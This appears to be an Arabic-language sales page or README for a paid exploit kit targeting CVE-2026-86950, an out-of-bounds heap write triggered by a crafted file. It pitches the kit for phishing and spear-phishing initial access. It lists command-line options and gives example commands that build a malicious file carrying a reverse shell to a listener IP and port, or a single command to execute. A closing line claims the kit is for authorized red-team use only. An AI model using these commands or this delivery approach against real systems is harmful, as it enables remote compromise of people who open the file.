deaurity/cve-2026-86950-pocيولّد ملفات مصمّمة تُفعّل كتابة خارج الحدود في CVE-2026-86950، مع خيارات صدفة عكسية وتنفيذ أوامر وحمولات مخصّصة لاختبار الفريق الأحمر.
CVE-2026-86950 (CWE-787).
كتابة خارج الحدود أثناء تحليل ملف مصمم خصيصًا. يؤدي غياب فحوصات الحدود على حقلي الحجم/الإزاحة إلى إفساد مُتحكَّم فيه للذاكرة المُخصَّصة (heap) عندما يعالج التطبيق المستهدف الملف.
يقوم مهاجم غير مُصادَق بتسليم الملف (بريد إلكتروني، تنزيل، مشاركة). يتطلب تفاعل المستخدم (فتح/معالجة). تُنفَّذ التعليمات البرمجية بصلاحيات تطبيق التحليل.
مفيد لحملات التصيّد الاحتيالي/التصيّد المُوجَّه في الفريق الأحمر، والوصول الأولي على نقاط النهاية، وتنفيذ التعليمات البرمجية بشكل مُتحكَّم فيه دون مصادقة شبكية.
بعد الشراء تستلم أرشيف الحزمة الكامل.
استخرجه وثبّت التبعيات:
pip install -r requirements.txt
python exploit.py [options]
-o, --output <file> Output malicious file (required)
-p, --payload <type> reverse | cmd | custom (default: reverse)
-L, --lhost <ip> Listener IP (for reverse)
-P, --lport <port> Listener port (for reverse)
-c, --cmd <command> Single command to execute
--arch x64|x86 Target architecture (default: x64)
مثال (reverse shell):
python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444
مثال (أمر لمرة واحدة):
python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"
سلّم الملف المُنشأ إلى الهدف. عند فتحه/معالجته بواسطة التطبيق الثغرة تُفعَّل الكتابة خارج الحدود وتُنفَّذ الحمولة.
للاستخدام المُصرَّح به في الفريق الأحمر / اختبار الاختراق فقط. الاستخدام غير المُصرَّح به غير قانوني.
الحزمة الكاملة متاحة فقط بعد الشراء.